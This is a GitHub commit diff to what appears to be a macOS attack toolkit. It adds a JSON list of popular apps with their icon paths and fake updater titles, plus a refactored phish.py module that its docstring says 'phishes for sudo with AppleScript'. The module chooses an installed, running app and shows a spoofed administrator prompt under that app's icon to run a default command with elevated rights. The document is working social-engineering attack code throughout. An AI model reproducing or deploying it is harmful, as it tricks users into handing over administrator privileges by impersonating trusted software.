Skip to content

Commit 4930669

Browse files
committed
apps json for easy additions
1 parent b86e0ee commit 4930669

File tree

3 files changed

+44
-22
lines changed

3 files changed

+44
-22
lines changed

apps.json

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
{
2+
"p1": {
3+
"Firefox.app": ["/Contents/Resources/firefox.icns", "Firefox Update"],
4+
"Google Chrome.app": ["/Contents/Resources/app.icns", "Google Chrome Updater"]
5+
},
6+
"p2": {
7+
"Dropbox.app": ["/Contents/Resources/icon.icns", "DropboxMacUpdate"],
8+
"CCleaner.app": ["/Contents/Resources/c.icns", "CCleaner Update"],
9+
"Spotify.app": ["/Contents/Resources/Icon.icns", "Spotify Updater"],
10+
"Alfred 3.app": ["/Contents/Resources/appicon.icns", "Alfred Update"],
11+
"The Unarchiver.app": ["/Contents/Resources/unarchiver.icns", "The Unarchiver Update"],
12+
"VLC.app": ["/Contents/Resources/VLC.icns", "VLC Update"]
13+
},
14+
"p3": {
15+
"Atom.app": ["/Contents/Resources/atom.icns", "Atom Updater"],
16+
"Atom Beta.app": ["/Contents/Resources/atom.icns", "Atom Updater"],
17+
"Visual Studio.app": ["/Contents/Resources/VisualStudio.icns", "Visual Studio Update"],
18+
"Android Studio.app": ["/Contents/Resources/studio.icns", "Android Studio Update"],
19+
"Docker.app": ["/Contents/Resources/Appicon.icns", "Docker Update"],
20+
"Xcode.app": ["/Contents/Resources/Xcode.icns", "Xcode Update"]
21+
},
22+
"p4": {
23+
"Safari.app": ["/Contents/Resources/compass.icns", "Safari Update"],
24+
"iTunes.app": ["/Contents/Resources/iTunes.icns", "iTunes Update"],
25+
"System Preferences.app": ["/Contents/Resources/PrefApp.icns", "System Update"]
26+
}
27+
}

exploits/general.py

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,15 @@ def default_browser():
2929

3030

3131
def app_installed(app_name):
32-
"""check if app installed"""
32+
"""checks if app installed"""
3333
return os.path.isdir("/Applications/" + app_name) or os.path.isdir("~/Applications/" + app_name)
3434

3535

36+
def app_running(app_name):
37+
"""checks if app running"""
38+
return not os.system("pgrep -f \"{app_name}\" > /dev/null".format(app_name=app_name)) == 256
39+
40+
3641
def osascript(command):
3742
"""runs shell for osascript"""
3843
osa = Popen([command], shell=True, stdout=PIPE)

exploits/phish.py

Lines changed: 11 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,22 @@
11
"""phishes for sudo with AppleScript"""
2+
import json
23
import os
34
import plistlib
45

5-
from .general import (DEFAULT_COMMAND, app_installed, default_browser,
6-
osascript, random_string)
6+
from .general import (DEFAULT_COMMAND, app_installed, app_running, osascript,
7+
random_string)
78

89
try:
910
input = raw_input
1011
except NameError:
1112
pass
1213

14+
with open("apps.json") as json_file:
15+
APPS = json.load(json_file)
16+
1317
__cve__ = ""
1418
__credits__ = "thehappydinoa"
1519

16-
BROWSERS = {
17-
"com.google.chrome": ("Google Chrome.app", "/Contents/Resources/app.icns", "Google Chrome Updater"),
18-
"org.mozilla.firefox": ("Firefox.app", "/Contents/Resources/firefox.icns", "Firefox Updater"),
19-
"com.apple.safari": ("Safari.app", "/Contents/Resources/compass.icns", "Safari Update")
20-
}
21-
22-
APPS = {
23-
"Spotify.app": ("/Contents/Resources/Icon.icns", "Spotify Updater"),
24-
"Dropbox.app": ("/Contents/Resources/icon.icns", "DropboxMacUpdate")
25-
}
26-
2720

2821
def admin_prompt(app=None, icon_path=None, prompt="System Update", command="echo hello"):
2922
"""prompts with administrator privileges"""
@@ -75,12 +68,9 @@ def vulnerable(version):
7568

7669
def run():
7770
"""runs exploit"""
78-
browser = default_browser()
79-
if browser and browser in BROWSERS.keys():
80-
browser_data = BROWSERS.get(browser)
81-
return admin_prompt(app=browser_data[0], icon_path=browser_data[1], prompt=browser_data[2], command=DEFAULT_COMMAND)
82-
for app in APPS.keys():
83-
if app_installed(app):
84-
app_info = APPS.get(app)
85-
return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND)
71+
for priority_level in sorted(APPS.iterkeys()):
72+
for app in APPS.get(priority_level).keys():
73+
if app_installed(app) and app_running(app):
74+
app_info = APPS.get(priority_level).get(app)
75+
return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND)
8676
return admin_prompt(app="System Preferences.app", icon_path="/Contents/Resources/PrefApp.icns", prompt="System Update", command=DEFAULT_COMMAND)

0 commit comments

Comments
 (0)